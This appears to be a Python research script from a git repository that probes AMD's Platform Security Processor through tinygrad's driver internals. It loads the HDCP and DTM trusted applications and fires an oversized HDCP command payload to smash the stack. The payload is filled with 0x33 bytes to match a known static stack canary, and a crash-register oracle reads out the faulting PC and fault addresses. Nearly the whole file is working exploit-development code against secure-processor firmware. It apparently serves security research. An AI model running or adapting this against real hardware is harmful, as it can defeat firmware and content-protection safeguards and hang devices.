aboutsummaryrefslogtreecommitdiffstats
path: root/psp_out/probe_canaryfill.py
blob: 070fe90f9f8f64b179602c7bf8cad68b01bc6dd2 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
"""Fill the whole payload with 0x33 so ANY canary slot fed by our data is satisfied.

__stack_chk_guard == 0x33333333 (static, single xref, no runtime writer).
If the smash that trips __stack_chk_fail is written FROM OUR BUFFER, then filling
every byte with 0x33 satisfies the canary wherever it lands, and the hang should
disappear (or move). If the smash content comes from the crypto service's own
state, 0x33 fill changes nothing.

Readout uses the crash oracle discovered today: C2PMSG 82..88.
    82 PC-ish  83 class/mode  84 faulting PC  85 DFSR  86 DFAR  88 ?
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32

d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
C2P=90112+64
def crash(): return {n:adev.rreg(C2P+n) for n in (82,83,84,85,86,88)}
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
    r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
sid,shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(s,sh,buf,tc):
    adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=s,tc
    t0=time.time()
    try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
    except RuntimeError: return stat(), bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
    except TimeoutError: return "TIMEOUT", None, time.time()-t0
def topo(h):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
    struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
    ps,out,_=inv(dtm_sid,dtm_shm,b,2); return struct.unpack_from('<I',out,8)[0]
def hdcp(cmd,mut=None):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd)
    if mut: mut(b)
    ps,out,dt=inv(sid,shm,b,cmd)
    if out is None: return ps,None,None,dt
    return ps, struct.unpack_from('<I',out,4)[0], struct.unpack_from('<I',out,0x1410)[0], dt
def fire(slot,N,fill):
    a3=5*N+25; ln=a3+1
    payload=bytearray(bytes([fill])*(5*N))
    def m(b):
        struct.pack_into('<I',b,0xC,slot); struct.pack_into('<I',b,0x10,12)
        struct.pack_into('<I',b,0x14,ln)
        b[0x28]=12; b[0x29]=0; b[0x2A]=0; b[0x2B]=N&0xFF; b[0x2C]=0
        b[0x2F]=0; b[0x30]=0; b[0x31]=0
        b[0x42:0x42+len(payload)]=payload
    return hdcp(0x0F,m)

for h in range(8): topo(h)
print("crash regs before any test:", {k:hex(v) for k,v in crash().items()})
print("\n%-34s %-9s %-7s %-7s %s" % ("case","psp","ta_ret","elapsed","crash regs 82/83/84/85/86"))
for label,N,fill in (("N=52 fill 0x33 (control, no hang)",52,0x33),
                     ("N=53 fill 0x33 (THE TEST)",        53,0x33),
                     ("N=53 fill 0x41 (baseline)",        53,0x41)):
    ps,ret,slot,dt = hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,0))
    if ret != 0:
        print("%-34s  slot open failed ta_ret=%s (TA dead)" % (label,ret)); break
    ps,r,_,dt = fire(slot,N,fill)
    c=crash()
    print("%-34s %-9s %-7s %6.2fs  %s" % (label, ps, r, dt,
          " ".join(hex(c[k]) for k in (82,83,84,85,86))))
    if ps=="TIMEOUT":
        print("     -> HUNG. sOS alive=%s" % psp.is_sos_alive()); break
    else:
        print("     -> returned")
print("\nsOS alive:", psp.is_sos_alive())